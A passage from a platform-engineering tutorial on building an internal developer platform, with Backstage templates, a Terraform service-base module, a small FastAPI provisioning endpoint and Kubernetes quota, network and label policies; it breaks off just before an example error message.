        <a href="#h2-why-build-an-internal-developer-platform" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Why Build an Internal Developer Platform?
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-why-build-an-internal-developer-platform"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Skip this section if you already know you need one. But if you&#39;re trying to convince your manager, here are the numbers.</p>
<p>A 2025 Puppet survey found that teams with a mature IDP deploy <strong>4.3x more frequently</strong> and spend <strong>44% less time on infrastructure requests</strong>. At a 50-person engineering org, that translates to roughly 2,000 hours per year saved on infrastructure busywork.</p>
<p>But the real cost isn&#39;t the platform engineer&#39;s time. It&#39;s the developer sitting idle waiting for their environment. Every day a developer waits for infrastructure is a day of lost product work.</p>
<p>The goal is simple: a developer should go from &quot;I need a new service&quot; to &quot;my service is running in staging&quot; in under 30 minutes, without filing a single ticket.</p>
<hr>
<h2 id="h2-step-1-define-your-golden-paths" class="group relative scroll-mt-24">
        <a href="#h2-step-1-define-your-golden-paths" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 1: Define Your Golden Paths
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-1-define-your-golden-paths"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Before writing any code, document what &quot;creating a new service&quot; actually requires at your company. Walk through it manually and write down every step.</p>
<p>Here&#39;s a typical list:</p>
<pre><code class="hljs language-text">1. Create a Git repository from a template
2. Set up CI/CD pipeline (build, test, deploy stages)
3. Create Kubernetes namespace and RBAC
4. Provision a database (if needed)
5. Configure DNS and ingress
6. Set up monitoring dashboards and alerts
7. Add service to the service catalog
8. Configure secrets management
</code></pre><p>That&#39;s 8 steps across 4-5 different systems. Each one is a potential ticket, a potential blocker, and a potential source of inconsistency.</p>
<p>A <strong>golden path</strong> is a pre-paved route through all of these steps. The developer fills in a few inputs (service name, team, language, needs a database yes/no) and the platform handles the rest.</p>
<p>Important: golden paths are defaults, not mandates. If a team needs something different, they can go off-path. But 80% of the time, the default is exactly right.</p>
<hr>
<h2 id="h2-step-2-build-service-templates" class="group relative scroll-mt-24">
        <a href="#h2-step-2-build-service-templates" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 2: Build Service Templates
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-2-build-service-templates"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>The core of any IDP is templating. Every new service should start from a well-tested template, not a copy-paste of someone&#39;s old project.</p>
<p>Here&#39;s a practical service template structure:</p>
<pre><code class="hljs language-text">service-templates/
├── go-api/
│   ├── skeleton/          # The actual project files
│   │   ├── main.go
│   │   ├── Dockerfile
│   │   ├── k8s/
│   │   │   ├── deployment.yaml
│   │   │   ├── service.yaml
│   │   │   └── ingress.yaml
│   │   └── .github/
│   │       └── workflows/
│   │           └── ci.yaml
│   └── template.yaml      # Metadata and input parameters
├── python-worker/
│   ├── skeleton/
│   └── template.yaml
└── react-frontend/
    ├── skeleton/
    └── template.yaml
</code></pre><p>Each <code>template.yaml</code> defines the inputs your platform needs:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">scaffolder.backstage.io/v1beta3</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Template</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">go-api-template</span>
  <span class="hljs-attr">title:</span> <span class="hljs-string">Go</span> <span class="hljs-string">API</span> <span class="hljs-string">Service</span>
  <span class="hljs-attr">description:</span> <span class="hljs-string">Create</span> <span class="hljs-string">a</span> <span class="hljs-string">new</span> <span class="hljs-string">Go</span> <span class="hljs-string">API</span> <span class="hljs-string">with</span> <span class="hljs-string">CI/CD,</span> <span class="hljs-string">Kubernetes</span> <span class="hljs-string">deployment,</span> <span class="hljs-string">and</span> <span class="hljs-string">monitoring</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">owner:</span> <span class="hljs-string">platform-team</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">service</span>
  <span class="hljs-attr">parameters:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">title:</span> <span class="hljs-string">Service</span> <span class="hljs-string">Details</span>
      <span class="hljs-attr">required:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">name</span>
        <span class="hljs-bullet">-</span> <span class="hljs-string">owner</span>
      <span class="hljs-attr">properties:</span>
        <span class="hljs-attr">name:</span>
          <span class="hljs-attr">title:</span> <span class="hljs-string">Service</span> <span class="hljs-string">Name</span>
          <span class="hljs-attr">type:</span> <span class="hljs-string">string</span>
          <span class="hljs-attr">pattern:</span> <span class="hljs-string">&#x27;^[a-z][a-z0-9-]*$&#x27;</span>
          <span class="hljs-attr">description:</span> <span class="hljs-string">Lowercase,</span> <span class="hljs-string">alphanumeric,</span> <span class="hljs-string">hyphens</span> <span class="hljs-string">only</span>
        <span class="hljs-attr">owner:</span>
          <span class="hljs-attr">title:</span> <span class="hljs-string">Owner</span> <span class="hljs-string">Team</span>
          <span class="hljs-attr">type:</span> <span class="hljs-string">string</span>
          <span class="hljs-attr">enum:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">team-payments</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">team-search</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">team-platform</span>
        <span class="hljs-attr">needsDatabase:</span>
          <span class="hljs-attr">title:</span> <span class="hljs-string">Needs</span> <span class="hljs-string">PostgreSQL</span> <span class="hljs-string">database?</span>
          <span class="hljs-attr">type:</span> <span class="hljs-string">boolean</span>
          <span class="hljs-attr">default:</span> <span class="hljs-literal">false</span>
        <span class="hljs-attr">environment:</span>
          <span class="hljs-attr">title:</span> <span class="hljs-string">Initial</span> <span class="hljs-string">Environment</span>
          <span class="hljs-attr">type:</span> <span class="hljs-string">string</span>
          <span class="hljs-attr">enum:</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">staging</span>
            <span class="hljs-bullet">-</span> <span class="hljs-string">staging-and-production</span>
          <span class="hljs-attr">default:</span> <span class="hljs-string">staging</span>
  <span class="hljs-attr">steps:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">scaffold</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">Generate</span> <span class="hljs-string">project</span> <span class="hljs-string">files</span>
      <span class="hljs-attr">action:</span> <span class="hljs-string">fetch:template</span>
      <span class="hljs-attr">input:</span>
        <span class="hljs-attr">url:</span> <span class="hljs-string">./skeleton</span>
        <span class="hljs-attr">values:</span>
          <span class="hljs-attr">name:</span> <span class="hljs-string">${{</span> <span class="hljs-string">parameters.name</span> <span class="hljs-string">}}</span>
          <span class="hljs-attr">owner:</span> <span class="hljs-string">${{</span> <span class="hljs-string">parameters.owner</span> <span class="hljs-string">}}</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">publish</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">Create</span> <span class="hljs-string">GitHub</span> <span class="hljs-string">repository</span>
      <span class="hljs-attr">action:</span> <span class="hljs-string">publish:github</span>
      <span class="hljs-attr">input:</span>
        <span class="hljs-attr">repoUrl:</span> <span class="hljs-string">github.com?owner=your-org&amp;repo=${{</span> <span class="hljs-string">parameters.name</span> <span class="hljs-string">}}</span>
        <span class="hljs-attr">defaultBranch:</span> <span class="hljs-string">main</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">provision-infra</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">Provision</span> <span class="hljs-string">infrastructure</span>
      <span class="hljs-attr">action:</span> <span class="hljs-string">custom:terraform-apply</span>
      <span class="hljs-attr">input:</span>
        <span class="hljs-attr">module:</span> <span class="hljs-string">service-base</span>
        <span class="hljs-attr">vars:</span>
          <span class="hljs-attr">service_name:</span> <span class="hljs-string">${{</span> <span class="hljs-string">parameters.name</span> <span class="hljs-string">}}</span>
          <span class="hljs-attr">needs_database:</span> <span class="hljs-string">${{</span> <span class="hljs-string">parameters.needsDatabase</span> <span class="hljs-string">}}</span>
          <span class="hljs-attr">environment:</span> <span class="hljs-string">${{</span> <span class="hljs-string">parameters.environment</span> <span class="hljs-string">}}</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">id:</span> <span class="hljs-string">register</span>
      <span class="hljs-attr">name:</span> <span class="hljs-string">Register</span> <span class="hljs-string">in</span> <span class="hljs-string">service</span> <span class="hljs-string">catalog</span>
      <span class="hljs-attr">action:</span> <span class="hljs-string">catalog:register</span>
      <span class="hljs-attr">input:</span>
        <span class="hljs-attr">repoContentsUrl:</span> <span class="hljs-string">${{</span> <span class="hljs-string">steps.publish.output.repoContentsUrl</span> <span class="hljs-string">}}</span>
        <span class="hljs-attr">catalogInfoPath:</span> <span class="hljs-string">/catalog-info.yaml</span>
</code></pre><p>This is a Backstage template, but the pattern works with any system. The key idea: one YAML file defines everything needed to create a fully working service.</p>
<hr>
<h2 id="h2-step-3-automate-infrastructure-provisioning" class="group relative scroll-mt-24">
        <a href="#h2-step-3-automate-infrastructure-provisioning" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 3: Automate Infrastructure Provisioning
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-3-automate-infrastructure-provisioning"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>Your templates need to actually create infrastructure. Wrap your existing Terraform modules behind an API that the platform can call.</p>
<p>Here&#39;s a simple Terraform module for provisioning a service&#39;s base infrastructure:</p>
<pre><code class="hljs language-hcl"><span class="hljs-comment"># modules/service-base/main.tf</span>

<span class="hljs-keyword">variable</span> <span class="hljs-string">&quot;service_name&quot;</span> {
  type = string
}

<span class="hljs-keyword">variable</span> <span class="hljs-string">&quot;namespace&quot;</span> {
  type    = string
  default = <span class="hljs-string">&quot;&quot;</span>
}

<span class="hljs-keyword">variable</span> <span class="hljs-string">&quot;needs_database&quot;</span> {
  type    = bool
  default = false
}

<span class="hljs-keyword">variable</span> <span class="hljs-string">&quot;environment&quot;</span> {
  type    = string
  default = <span class="hljs-string">&quot;staging&quot;</span>
}

<span class="hljs-keyword">locals</span> {
  namespace = var.namespace != <span class="hljs-string">&quot;&quot;</span> ? var.namespace : var.service_name
}

<span class="hljs-comment"># Kubernetes namespace with labels for ownership tracking</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;kubernetes_namespace&quot;</span> <span class="hljs-string">&quot;service&quot;</span> {
  metadata {
    name = local.namespace
    labels = {
      <span class="hljs-string">&quot;app.kubernetes.io/managed-by&quot;</span> = <span class="hljs-string">&quot;internal-platform&quot;</span>
      <span class="hljs-string">&quot;platform.company.io/service&quot;</span>  = var.service_name
      <span class="hljs-string">&quot;platform.company.io/env&quot;</span>      = var.environment
    }
  }
}

<span class="hljs-comment"># Service account with least-privilege RBAC</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;kubernetes_service_account&quot;</span> <span class="hljs-string">&quot;service&quot;</span> {
  metadata {
    name      = var.service_name
    namespace = kubernetes_namespace.service.metadata[<span class="hljs-number">0</span>].name
  }
}

<span class="hljs-comment"># PostgreSQL database (conditional)</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;helm_release&quot;</span> <span class="hljs-string">&quot;postgres&quot;</span> {
  count      = var.needs_database ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>
  name       = <span class="hljs-string">&quot;<span class="hljs-variable">${var.service_name}</span>-db&quot;</span>
  namespace  = kubernetes_namespace.service.metadata[<span class="hljs-number">0</span>].name
  repository = <span class="hljs-string">&quot;https://charts.bitnami.com/bitnami&quot;</span>
  chart      = <span class="hljs-string">&quot;postgresql&quot;</span>
  version    = <span class="hljs-string">&quot;15.5.0&quot;</span>

  set {
    name  = <span class="hljs-string">&quot;auth.database&quot;</span>
    value = replace(var.service_name, <span class="hljs-string">&quot;-&quot;</span>, <span class="hljs-string">&quot;_&quot;</span>)
  }

  set {
    name  = <span class="hljs-string">&quot;primary.resources.requests.memory&quot;</span>
    value = <span class="hljs-string">&quot;256Mi&quot;</span>
  }

  set {
    name  = <span class="hljs-string">&quot;primary.resources.requests.cpu&quot;</span>
    value = <span class="hljs-string">&quot;250m&quot;</span>
  }
}

<span class="hljs-comment"># Store database credentials in a Kubernetes secret</span>
<span class="hljs-keyword">resource</span> <span class="hljs-string">&quot;kubernetes_secret&quot;</span> <span class="hljs-string">&quot;db_credentials&quot;</span> {
  count = var.needs_database ? <span class="hljs-number">1</span> : <span class="hljs-number">0</span>
  metadata {
    name      = <span class="hljs-string">&quot;<span class="hljs-variable">${var.service_name}</span>-db-credentials&quot;</span>
    namespace = kubernetes_namespace.service.metadata[<span class="hljs-number">0</span>].name
  }
  <span class="hljs-keyword">data</span> = {
    DATABASE_URL = <span class="hljs-string">&quot;postgresql://<span class="hljs-variable">${var.service_name}</span>:<span class="hljs-variable">${helm_release.postgres[0].id}</span>@<span class="hljs-variable">${var.service_name}</span>-db-postgresql:5432/<span class="hljs-variable">${<span class="hljs-meta">replace(var.service_name, <span class="hljs-string">&quot;-&quot;</span>, <span class="hljs-string">&quot;_&quot;</span>)</span>}</span>&quot;</span>
  }
}

<span class="hljs-keyword">output</span> <span class="hljs-string">&quot;namespace&quot;</span> {
  value = kubernetes_namespace.service.metadata[<span class="hljs-number">0</span>].name
}

<span class="hljs-keyword">output</span> <span class="hljs-string">&quot;service_account&quot;</span> {
  value = kubernetes_service_account.service.metadata[<span class="hljs-number">0</span>].name
}
</code></pre><p>To trigger this from your platform, create a thin API that runs Terraform:</p>
<pre><code class="hljs language-python"><span class="hljs-comment"># platform-api/provision.py</span>
<span class="hljs-keyword">import</span> subprocess
<span class="hljs-keyword">import</span> json
<span class="hljs-keyword">import</span> os
<span class="hljs-keyword">from</span> fastapi <span class="hljs-keyword">import</span> FastAPI, HTTPException
<span class="hljs-keyword">from</span> pydantic <span class="hljs-keyword">import</span> BaseModel

app = FastAPI()

<span class="hljs-keyword">class</span> <span class="hljs-title class_">ServiceRequest</span>(<span class="hljs-title class_ inherited__">BaseModel</span>):
    service_name: <span class="hljs-built_in">str</span>
    owner: <span class="hljs-built_in">str</span>
    needs_database: <span class="hljs-built_in">bool</span> = <span class="hljs-literal">False</span>
    environment: <span class="hljs-built_in">str</span> = <span class="hljs-string">&quot;staging&quot;</span>

<span class="hljs-meta">@app.post(<span class="hljs-params"><span class="hljs-string">&quot;/api/v1/services&quot;</span></span>)</span>
<span class="hljs-keyword">async</span> <span class="hljs-keyword">def</span> <span class="hljs-title function_">create_service</span>(<span class="hljs-params">request: ServiceRequest</span>):
    workdir = <span class="hljs-string">f&quot;/tmp/terraform/<span class="hljs-subst">{request.service_name}</span>&quot;</span>
    os.makedirs(workdir, exist_ok=<span class="hljs-literal">True</span>)

    <span class="hljs-comment"># Write terraform config</span>
    tf_vars = {
        <span class="hljs-string">&quot;service_name&quot;</span>: request.service_name,
        <span class="hljs-string">&quot;needs_database&quot;</span>: request.needs_database,
        <span class="hljs-string">&quot;environment&quot;</span>: request.environment,
    }

    vars_path = os.path.join(workdir, <span class="hljs-string">&quot;terraform.tfvars.json&quot;</span>)
    <span class="hljs-keyword">with</span> <span class="hljs-built_in">open</span>(vars_path, <span class="hljs-string">&quot;w&quot;</span>) <span class="hljs-keyword">as</span> f:
        json.dump(tf_vars, f)

    <span class="hljs-comment"># Run terraform init and apply</span>
    <span class="hljs-keyword">try</span>:
        subprocess.run(
            [<span class="hljs-string">&quot;terraform&quot;</span>, <span class="hljs-string">&quot;init&quot;</span>, <span class="hljs-string">&quot;-backend-config=key=services/{}.tfstate&quot;</span>.<span class="hljs-built_in">format</span>(
                request.service_name
            )],
            cwd=workdir,
            check=<span class="hljs-literal">True</span>,
            capture_output=<span class="hljs-literal">True</span>,
        )
        result = subprocess.run(
            [<span class="hljs-string">&quot;terraform&quot;</span>, <span class="hljs-string">&quot;apply&quot;</span>, <span class="hljs-string">&quot;-auto-approve&quot;</span>,
             <span class="hljs-string">&quot;-var-file=terraform.tfvars.json&quot;</span>],
            cwd=workdir,
            check=<span class="hljs-literal">True</span>,
            capture_output=<span class="hljs-literal">True</span>,
            text=<span class="hljs-literal">True</span>,
        )
    <span class="hljs-keyword">except</span> subprocess.CalledProcessError <span class="hljs-keyword">as</span> e:
        <span class="hljs-keyword">raise</span> HTTPException(status_code=<span class="hljs-number">500</span>, detail=e.stderr)

    <span class="hljs-keyword">return</span> {
        <span class="hljs-string">&quot;status&quot;</span>: <span class="hljs-string">&quot;created&quot;</span>,
        <span class="hljs-string">&quot;service_name&quot;</span>: request.service_name,
        <span class="hljs-string">&quot;namespace&quot;</span>: request.service_name,
        <span class="hljs-string">&quot;output&quot;</span>: result.stdout,
    }
</code></pre><p>When a developer requests a new service, the flow looks like this:</p>
<pre><code class="hljs language-text">Developer clicks &quot;Create Service&quot;
         │
         ▼
┌──────────────────┐
│  Platform Portal │  (Backstage / custom UI)
│  Collects inputs │
└────────┬─────────┘
         │
         ▼
┌──────────────────┐
│   Platform API   │  Validates, queues request
└────────┬─────────┘
         │
    ┌────┴────┬──────────┬──────────┐
    ▼         ▼          ▼          ▼
┌────────┐ ┌────────┐ ┌────────┐ ┌────────┐
│ Create │ │Terraform│ │ CI/CD  │ │Register│
│  Repo  │ │ Apply  │ │ Setup  │ │Catalog │
└────────┘ └────────┘ └────────┘ └────────┘
</code></pre><hr>
<h2 id="h2-step-4-set-up-the-developer-portal" class="group relative scroll-mt-24">
        <a href="#h2-step-4-set-up-the-developer-portal" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 4: Set Up the Developer Portal
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-4-set-up-the-developer-portal"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>You have two practical options here: use Backstage or build a minimal portal yourself. For most teams, Backstage is the right choice. It&#39;s open source, has a large plugin ecosystem, and handles the boring parts (authentication, catalog, search) for you.</p>
<p>Set up Backstage:</p>
<pre><code class="hljs language-bash">npx @backstage/create-app@latest
<span class="hljs-built_in">cd</span> my-platform
yarn install
yarn dev
</code></pre><p>You should see output like:</p>
<pre><code class="hljs language-text">[0] Loaded config from app-config.yaml, app-config.local.yaml
[0] webpack compiled successfully
[1] Listening on :7007
</code></pre><p>Open <code>http://localhost:3000</code> and you&#39;ll have a working developer portal.</p>
<p>The key configuration is in <code>app-config.yaml</code>:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># app-config.yaml</span>
<span class="hljs-attr">app:</span>
  <span class="hljs-attr">title:</span> <span class="hljs-string">Acme</span> <span class="hljs-string">Developer</span> <span class="hljs-string">Platform</span>
  <span class="hljs-attr">baseUrl:</span> <span class="hljs-string">http://localhost:3000</span>

<span class="hljs-attr">catalog:</span>
  <span class="hljs-attr">locations:</span>
    <span class="hljs-comment"># Load service templates from your templates repo</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">url</span>
      <span class="hljs-attr">target:</span> <span class="hljs-string">https://github.com/your-org/service-templates/blob/main/*/template.yaml</span>
      <span class="hljs-attr">rules:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">allow:</span> [<span class="hljs-string">Template</span>]
    <span class="hljs-comment"># Auto-discover all services</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">type:</span> <span class="hljs-string">url</span>
      <span class="hljs-attr">target:</span> <span class="hljs-string">https://github.com/your-org/*/blob/main/catalog-info.yaml</span>
      <span class="hljs-attr">rules:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">allow:</span> [<span class="hljs-string">Component</span>, <span class="hljs-string">API</span>]

<span class="hljs-attr">integrations:</span>
  <span class="hljs-attr">github:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">host:</span> <span class="hljs-string">github.com</span>
      <span class="hljs-attr">token:</span> <span class="hljs-string">${GITHUB_TOKEN}</span>

<span class="hljs-attr">techdocs:</span>
  <span class="hljs-attr">builder:</span> <span class="hljs-string">external</span>
  <span class="hljs-attr">publisher:</span>
    <span class="hljs-attr">type:</span> <span class="hljs-string">awsS3</span>
    <span class="hljs-attr">awsS3:</span>
      <span class="hljs-attr">bucketName:</span> <span class="hljs-string">your-techdocs-bucket</span>
</code></pre><p>Every service needs a <code>catalog-info.yaml</code> in its root:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># catalog-info.yaml (goes in each service repo)</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">backstage.io/v1alpha1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">Component</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">payment-service</span>
  <span class="hljs-attr">description:</span> <span class="hljs-string">Handles</span> <span class="hljs-string">payment</span> <span class="hljs-string">processing</span>
  <span class="hljs-attr">annotations:</span>
    <span class="hljs-attr">github.com/project-slug:</span> <span class="hljs-string">your-org/payment-service</span>
    <span class="hljs-attr">backstage.io/techdocs-ref:</span> <span class="hljs-string">dir:.</span>
  <span class="hljs-attr">tags:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">go</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">grpc</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">type:</span> <span class="hljs-string">service</span>
  <span class="hljs-attr">lifecycle:</span> <span class="hljs-string">production</span>
  <span class="hljs-attr">owner:</span> <span class="hljs-string">team-payments</span>
  <span class="hljs-attr">dependsOn:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">resource:payment-db</span>
  <span class="hljs-attr">providesApis:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">payment-api</span>
</code></pre><hr>
<h2 id="h2-step-5-add-guardrails-not-gates" class="group relative scroll-mt-24">
        <a href="#h2-step-5-add-guardrails-not-gates" class="no-underline text-inherit hover:text-inherit focus:outline-none focus:ring-0 focus:ring-offset-0">
          Step 5: Add Guardrails, Not Gates
        </a>
        <button 
          class="copy-heading-link absolute -left-8 top-1/2 -translate-y-1/2 opacity-0 group-hover:opacity-100 transition-all duration-200 p-1.5 rounded-md hover:bg-muted/80 focus:outline-none focus:ring-2 focus:ring-ring focus:ring-offset-2 text-muted-foreground hover:text-foreground"
          aria-label="Copy link to section"
          data-heading-id="h2-step-5-add-guardrails-not-gates"
        >
          <svg class="h-4 w-4" fill="none" stroke="currentColor" viewBox="0 0 24 24">
            <path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" 
              d="M13.828 10.172a4 4 0 00-5.656 0l-4 4a4 4 0 105.656 5.656l1.102-1.101m-.758-4.899a4 4 0 005.656 0l4-4a4 4 0 00-5.656-5.656l-1.1 1.1" />
            </svg>
          </button>
        </h2><p>A good platform makes the right thing easy and the wrong thing hard. It doesn&#39;t block developers with approval workflows.</p>
<p>Here&#39;s what guardrails look like in practice:</p>
<p><strong>Resource quotas per namespace</strong> prevent a single service from eating the cluster:</p>
<pre><code class="hljs language-yaml"><span class="hljs-comment"># Applied automatically by the platform for every new service</span>
<span class="hljs-attr">apiVersion:</span> <span class="hljs-string">v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">ResourceQuota</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">default-quota</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">$SERVICE_NAME</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">hard:</span>
    <span class="hljs-attr">requests.cpu:</span> <span class="hljs-string">&quot;4&quot;</span>
    <span class="hljs-attr">requests.memory:</span> <span class="hljs-string">8Gi</span>
    <span class="hljs-attr">limits.cpu:</span> <span class="hljs-string">&quot;8&quot;</span>
    <span class="hljs-attr">limits.memory:</span> <span class="hljs-string">16Gi</span>
    <span class="hljs-attr">persistentvolumeclaims:</span> <span class="hljs-string">&quot;5&quot;</span>
    <span class="hljs-attr">services.loadbalancers:</span> <span class="hljs-string">&quot;2&quot;</span>
</code></pre><p><strong>Network policies</strong> enforce service-to-service communication rules:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">networking.k8s.io/v1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">NetworkPolicy</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">default-deny-ingress</span>
  <span class="hljs-attr">namespace:</span> <span class="hljs-string">$SERVICE_NAME</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">podSelector:</span> {}
  <span class="hljs-attr">policyTypes:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-string">Ingress</span>
  <span class="hljs-attr">ingress:</span>
    <span class="hljs-bullet">-</span> <span class="hljs-attr">from:</span>
        <span class="hljs-bullet">-</span> <span class="hljs-attr">namespaceSelector:</span>
            <span class="hljs-attr">matchLabels:</span>
              <span class="hljs-attr">platform.company.io/env:</span> <span class="hljs-string">$ENVIRONMENT</span>
</code></pre><p><strong>OPA/Gatekeeper policies</strong> catch misconfigurations before they hit production:</p>
<pre><code class="hljs language-yaml"><span class="hljs-attr">apiVersion:</span> <span class="hljs-string">constraints.gatekeeper.sh/v1beta1</span>
<span class="hljs-attr">kind:</span> <span class="hljs-string">K8sRequiredLabels</span>
<span class="hljs-attr">metadata:</span>
  <span class="hljs-attr">name:</span> <span class="hljs-string">require-team-labels</span>
<span class="hljs-attr">spec:</span>
  <span class="hljs-attr">match:</span>
    <span class="hljs-attr">kinds:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">apiGroups:</span> [<span class="hljs-string">&quot;apps&quot;</span>]
        <span class="hljs-attr">kinds:</span> [<span class="hljs-string">&quot;Deployment&quot;</span>]
  <span class="hljs-attr">parameters:</span>
    <span class="hljs-attr">labels:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">&quot;app.kubernetes.io/managed-by&quot;</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">&quot;platform.company.io/service&quot;</span>
      <span class="hljs-bullet">-</span> <span class="hljs-attr">key:</span> <span class="hljs-string">&quot;platform.company.io/owner&quot;</span>
    <span class="hljs-attr">message:</span> <span class="hljs-string">&quot;All deployments must have managed-by, service, and owner labels&quot;</span>
</code></pre><p>When a developer tries to deploy without the required labels, they get a clear error:</p>
<pre><code class="hljs language-text">Error from server (Forbidden): error when creating &quot;deployment.yaml&quot;:
